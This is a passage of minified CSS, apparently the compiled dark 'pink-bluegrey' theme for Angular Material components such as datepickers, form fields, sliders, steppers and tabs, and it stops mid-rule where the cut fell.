.cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.pink-bluegrey-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.pink-bluegrey-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.pink-bluegrey-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.pink-bluegrey-theme .mat-datepicker-toggle-active{color:#c2185b}.pink-bluegrey-theme .mat-datepicker-toggle-active.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-date-range-input-inner[disabled]{color:#ffffff80}.pink-bluegrey-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:#424242;color:#fff}.pink-bluegrey-theme .mat-divider{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-divider-vertical{border-right-color:#ffffff1f}.pink-bluegrey-theme .mat-expansion-panel{background:#424242;color:#fff}.pink-bluegrey-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.pink-bluegrey-theme .mat-action-row{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.pink-bluegrey-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.pink-bluegrey-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(255,255,255,.04)}@media (hover: none){.pink-bluegrey-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#424242}}.pink-bluegrey-theme .mat-expansion-panel-header-title{color:#fff}.pink-bluegrey-theme .mat-expansion-panel-header-description,.pink-bluegrey-theme .mat-expansion-indicator:after{color:#ffffffb3}.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true]{color:#ffffff4d}.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.pink-bluegrey-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.pink-bluegrey-theme .mat-form-field-label,.pink-bluegrey-theme .mat-hint{color:#ffffffb3}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label{color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-focused .mat-form-field-required-marker{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-ripple{background-color:#fff}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#c2185b}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.pink-bluegrey-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.pink-bluegrey-theme .mat-error{color:#f44336}.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-form-field-label,.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-hint{color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.pink-bluegrey-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#ffffffb3}.pink-bluegrey-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(255,255,255,.7) 0%,rgba(255,255,255,.7) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.pink-bluegrey-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#ffffff1a}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#ffffff0d}.pink-bluegrey-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.pink-bluegrey-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#ffffff4d}.pink-bluegrey-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#fff}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#c2185b}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#b0bec5}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#ffffff80}.pink-bluegrey-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#ffffff26}.pink-bluegrey-theme .mat-icon.mat-primary{color:#c2185b}.pink-bluegrey-theme .mat-icon.mat-accent{color:#b0bec5}.pink-bluegrey-theme .mat-icon.mat-warn{color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#ffffffb3}.pink-bluegrey-theme .mat-input-element:disabled,.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#ffffff80}.pink-bluegrey-theme .mat-input-element{caret-color:#c2185b}.pink-bluegrey-theme .mat-input-element::placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element::-moz-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element::-webkit-input-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element:-ms-input-placeholder{color:#ffffff80}.pink-bluegrey-theme .mat-input-element:not(.mat-native-select-inline) option{color:#000000de}.pink-bluegrey-theme .mat-input-element:not(.mat-native-select-inline) option:disabled{color:#00000061}.pink-bluegrey-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-warn .mat-input-element,.pink-bluegrey-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.pink-bluegrey-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.pink-bluegrey-theme .mat-list-base .mat-list-item,.pink-bluegrey-theme .mat-list-base .mat-list-option{color:#fff}.pink-bluegrey-theme .mat-list-base .mat-subheader{color:#ffffffb3}.pink-bluegrey-theme .mat-list-base .mat-list-item-disabled{background-color:#ffffff1f;color:#ffffff80}.pink-bluegrey-theme .mat-list-option:hover,.pink-bluegrey-theme .mat-list-option:focus,.pink-bluegrey-theme .mat-nav-list .mat-list-item:hover,.pink-bluegrey-theme .mat-nav-list .mat-list-item:focus,.pink-bluegrey-theme .mat-action-list .mat-list-item:hover,.pink-bluegrey-theme .mat-action-list .mat-list-item:focus{background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-list-single-selected-option,.pink-bluegrey-theme .mat-list-single-selected-option:hover,.pink-bluegrey-theme .mat-list-single-selected-option:focus{background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-menu-panel{background:#424242}.pink-bluegrey-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-menu-item{background:transparent;color:#fff}.pink-bluegrey-theme .mat-menu-item[disabled],.pink-bluegrey-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.pink-bluegrey-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#ffffff80}.pink-bluegrey-theme .mat-menu-item .mat-icon-no-color,.pink-bluegrey-theme .mat-menu-submenu-icon{color:#fff}.pink-bluegrey-theme .mat-menu-item:hover:not([disabled]),.pink-bluegrey-theme .mat-menu-item.cdk-program-focused:not([disabled]),.pink-bluegrey-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.pink-bluegrey-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(255,255,255,.04)}.pink-bluegrey-theme .mat-paginator{background:#424242}.pink-bluegrey-theme .mat-paginator,.pink-bluegrey-theme .mat-paginator-page-size .mat-select-trigger{color:#ffffffb3}.pink-bluegrey-theme .mat-paginator-decrement,.pink-bluegrey-theme .mat-paginator-increment{border-top:2px solid white;border-right:2px solid white}.pink-bluegrey-theme .mat-paginator-first,.pink-bluegrey-theme .mat-paginator-last{border-top:2px solid white}.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-decrement,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-increment,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-first,.pink-bluegrey-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#ffffff80}.pink-bluegrey-theme .mat-progress-bar-background{fill:#552a3b}.pink-bluegrey-theme .mat-progress-bar-buffer{background-color:#552a3b}.pink-bluegrey-theme .mat-progress-bar-fill:after{background-color:#c2185b}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#505455}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#505455}.pink-bluegrey-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#b0bec5}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#613532}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#613532}.pink-bluegrey-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.pink-bluegrey-theme .mat-progress-spinner circle,.pink-bluegrey-theme .mat-spinner circle{stroke:#c2185b}.pink-bluegrey-theme .mat-progress-spinner.mat-accent circle,.pink-bluegrey-theme .mat-spinner.mat-accent circle{stroke:#b0bec5}.pink-bluegrey-theme .mat-progress-spinner.mat-warn circle,.pink-bluegrey-theme .mat-spinner.mat-warn circle{stroke:#f44336}.pink-bluegrey-theme .mat-radio-outer-circle{border-color:#ffffffb3}.pink-bluegrey-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#c2185b}.pink-bluegrey-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#c2185b}.pink-bluegrey-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#b0bec5}.pink-bluegrey-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#b0bec5}.pink-bluegrey-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.pink-bluegrey-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.pink-bluegrey-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.pink-bluegrey-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.pink-bluegrey-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.pink-bluegrey-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.pink-bluegrey-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-select-value{color:#fff}.pink-bluegrey-theme .mat-select-placeholder,.pink-bluegrey-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.pink-bluegrey-theme .mat-select-arrow{color:#ffffffb3}.pink-bluegrey-theme .mat-select-panel{background:#424242}.pink-bluegrey-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.pink-bluegrey-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#c2185b}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#b0bec5}.pink-bluegrey-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.pink-bluegrey-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.pink-bluegrey-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.pink-bluegrey-theme .mat-drawer-container{background-color:#303030;color:#fff}.pink-bluegrey-theme .mat-drawer{background-color:#424242;color:#fff}.pink-bluegrey-theme .mat-drawer.mat-drawer-push{background-color:#424242}.pink-bluegrey-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.pink-bluegrey-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-drawer-side.mat-drawer-end,.pink-bluegrey-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.pink-bluegrey-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#b0bec5}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#b0bec58a}.pink-bluegrey-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#b0bec5}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#c2185b}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#c2185b8a}.pink-bluegrey-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#c2185b}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.pink-bluegrey-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.pink-bluegrey-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.pink-bluegrey-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.pink-bluegrey-theme .mat-slide-toggle-bar{background-color:#ffffff80}.pink-bluegrey-theme .mat-slider-track-background{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#c2185b}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.pink-bluegrey-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#c2185b33}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#b0bec5}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.pink-bluegrey-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#b0bec533}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.pink-bluegrey-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.pink-bluegrey-theme .mat-slider:hover .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.cdk-focused .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.pink-bluegrey-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.pink-bluegrey-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.pink-bluegrey-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.pink-bluegrey-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.pink-bluegrey-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.pink-bluegrey-theme .mat-step-header.cdk-keyboard-focused,.pink-bluegrey-theme .mat-step-header.cdk-program-focused,.pink-bluegrey-theme .mat-step-header:hover:not([aria-disabled]),.pink-bluegrey-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.pink-bluegrey-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.pink-bluegrey-theme .mat-step-header:hover{background:none}}.pink-bluegrey-theme .mat-step-header .mat-step-label,.pink-bluegrey-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.pink-bluegrey-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-edit{background-color:#c2185b;color:#fff}.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#b0bec5;color:#000000de}.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon-selected,.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.pink-bluegrey-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.pink-bluegrey-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.pink-bluegrey-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.pink-bluegrey-theme .mat-stepper-horizontal,.pink-bluegrey-theme .mat-stepper-vertical{background-color:#424242}.pink-bluegrey-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.pink-bluegrey-theme .mat-horizontal-stepper-header:before,.pink-bluegrey-theme .mat-horizontal-stepper-header:after,.pink-bluegrey-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.pink-bluegrey-theme .mat-sort-header-arrow{color:#c6c6c6}.pink-bluegrey-theme .mat-tab-nav-bar,.pink-bluegrey-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.pink-bluegrey-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.pink-bluegrey-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.pink-bluegrey-theme .mat-tab-label,.pink-bluegrey-theme .mat-tab-link{color:#fff}.pink-bluegrey-theme .mat-tab-label.mat-tab-disabled,.pink-bluegrey-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.pink-bluegrey-theme .mat-tab-header-pagination-chevron{border-color:#fff}.pink-bluegrey-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.pink-bluegrey-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.pink-bluegrey-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#e91e634d}.pink-bluegrey-theme .mat-tab-group.mat-primary .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#c2185b}.pink-bluegrey-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#cfd8dc4d}.pink-bluegrey-theme .mat-tab-group.mat-accent .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#b0bec5}.pink-bluegrey-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.pink-bluegrey-theme .mat-tab-group.mat-warn .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.pink-bluegrey-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.pink-bluegrey-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.pink-bluegrey-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.pink-bluegrey-theme 